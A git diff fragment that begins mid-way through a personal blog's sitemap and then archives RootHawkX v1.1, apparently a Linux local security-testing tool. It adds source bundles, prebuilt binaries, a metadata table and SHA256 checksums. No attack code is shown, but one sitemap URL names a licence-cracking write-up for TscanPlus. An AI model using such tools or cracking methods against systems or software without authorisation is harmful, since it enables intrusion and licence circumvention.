4%B9%A0/GoLand-net.httpweekly0.5https://blog.wjlin0.com/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E8%AF%AD%E8%A8%80%E7%9F%A5%E8%AF%86/Go/Go%E6%A8%A1%E5%9D%97%E5%AD%A6%E4%B9%A0/GoLang-fmtweekly0.5https://blog.wjlin0.com/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E8%AF%AD%E8%A8%80%E7%9F%A5%E8%AF%86/Go/Go%E6%A8%A1%E5%9D%97%E5%AD%A6%E4%B9%A0/GoLang-goflagsweekly0.5https://blog.wjlin0.com/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E9%80%86%E5%90%91%E7%A0%B4%E8%A7%A3/TscanPlus%E6%8E%88%E6%9D%83%E9%80%BB%E8%BE%91%E5%88%86%E6%9E%90%E4%B8%8E%E4%BA%8C%E8%BF%9B%E5%88%B6%E8%A1%A5%E4%B8%81%E7%A0%B4%E8%A7%A3weekly0.5https://blog.wjlin0.com/docs/%E6%9B%B4%E6%96%B0%E6%97%A5%E5%BF%97weekly0.5https://blog.wjlin0.com/weekly0.5 \ No newline at end of file diff --git a/tools/roothawkx/v1.1/METADATA.md b/tools/roothawkx/v1.1/METADATA.md new file mode 100644 index 0000000..b8f6c75 --- /dev/null +++ b/tools/roothawkx/v1.1/METADATA.md @@ -0,0 +1,31 @@ +# RootHawkX v1.1 + +| 项目 | 内容 | +|:---|:---| +| 上游仓库 | https://github.com/DeEpinGh0st/RootHawkX | +| Release | v1.1 | +| Release URL | https://github.com/DeEpinGh0st/RootHawkX/releases/tag/v1.1 | +| 保存日期 | 2026-07-02 | +| 用途 | Linux 本地安全测试终端工具归档 | + +## Source + +| 文件 | 原始地址 | SHA256 | +|:---|:---|:---| +| source/RootHawkX-v1.1.zip | https://api.github.com/repos/DeEpinGh0st/RootHawkX/zipball/v1.1 | a740a8131fc8ee609a18f64c11913bb1728d116537a2011e83d4ca86ecc9af26 | +| source/RootHawkX-v1.1.tar.gz | https://api.github.com/repos/DeEpinGh0st/RootHawkX/tarball/v1.1 | c2f89356d8b636fe6690056effa61757fc5cf1c05f70797f60f50654c3e65b6d | + +## Binaries + +| 文件 | 架构 | 原始地址 | SHA256 | +|:---|:---|:---|:---| +| bin/roothawkx_linux_386 | linux/386 | https://github.com/DeEpinGh0st/RootHawkX/releases/download/v1.1/roothawkx_linux_386 | 9b52eaa757c97ee792970bebf26bba2b18448c9bdd42b1fac170180c71aa28d2 | +| bin/roothawkx_linux_amd64 | linux/amd64 | https://github.com/DeEpinGh0st/RootHawkX/releases/download/v1.1/roothawkx_linux_amd64 | e183c0ac8688a7285164ef31d16ab4eaa44bbf52c36b104157f915cb1e8f9179 | +| bin/roothawkx_linux_arm64 | linux/arm64 | https://github.com/DeEpinGh0st/RootHawkX/releases/download/v1.1/roothawkx_linux_arm64 | de5fa1b971947194e8cbcc281c980c899f86aade6c4d5fa1063570086a2d67f1 | + +## Verification + +```bash +cd static/tools/roothawkx/v1.1 +shasum -a 256 -c SHA256SUMS.txt +``` diff --git a/tools/roothawkx/v1.1/SHA256SUMS.txt b/tools/roothawkx/v1.1/SHA256SUMS.txt new file mode 100644 index 0000000..fcd6f90 --- /dev/null +++ b/tools/roothawkx/v1.1/SHA256SUMS.txt @@ -0,0 +1,5 @@ +a740a8131fc8ee609a18f64c11913bb1728d116537a2011e83d4ca86ecc9af26 source/RootHawkX-v1.1.zip +c2f89356d8b636fe6690056effa61757fc5cf1c05f70797f60f50654c3e65b6d source/RootHawkX-v1.1.tar.gz +9b52eaa757c97ee792970bebf26bba2b18448c9bdd42b1fac170180c71aa28d2 bin/roothawkx_linux_386 +e183c0ac8688a7285164ef31d16ab4eaa44bbf52c36b104157f915cb1e8f9179 bin/roothawkx_linux_amd64 +de5fa1b971947194e8cbcc281c980c899f86aade6c4d5fa1063570086a2d67f1 bin/roothawkx_linux_arm64 diff --git a/tools/roothawkx/v1.1/bin/roothawkx_linux_386 b/tools/roothawkx/v1.1/bin/roothawkx_linux_386 new file mode 100644 index 0000000..79ceef8 Binary files /dev/null and b/tools/roothawkx/v1.1/bin/roothawkx_linux_386 differ diff --git a/tools/roothawkx/v1.1/bin/roothawkx_linux_amd64 b/tools/roothawkx/v1.1/bin/roothawkx_linux_amd64 new file mode 100644 index 0000000..365c09c Binary files /dev/null and b/tools/roothawkx/v1.1/bin/roothawkx_linux_amd64 differ diff --git a/tools/roothawkx/v1.1/bin/roothawkx_linux_arm64 b/tools/roothawkx/v1.1/bin/roothawkx_linux_arm64 new file mode 100644 index 0000000..4b48b33 Binary files /dev/null and b/tools/roothawkx/v1.1/bin/roothawkx_linux_arm64 differ diff --git a/tools/roothawkx/v1.1/source/RootHawkX-v1.1.tar.gz b/tools/roothawkx/v1.1/source/RootHawkX-v1.1.tar.gz new file mode 100644 index 0000000..ff89e75 Binary files /dev/null and b/tools/roothawkx/v1.1/source/RootHawkX-v1.1.tar.gz differ diff --git a/tools/roothawkx/v1.1/source/RootHawkX-v1.1.zip b/tools/roothawkx/v1.1/source/RootHawkX-v1.1.zip new file mode 100644 index 0000000..f16c547 Binary files /dev/null and b/tools/roothawkx/v1.1/source/RootHawkX-v1.1.zip differ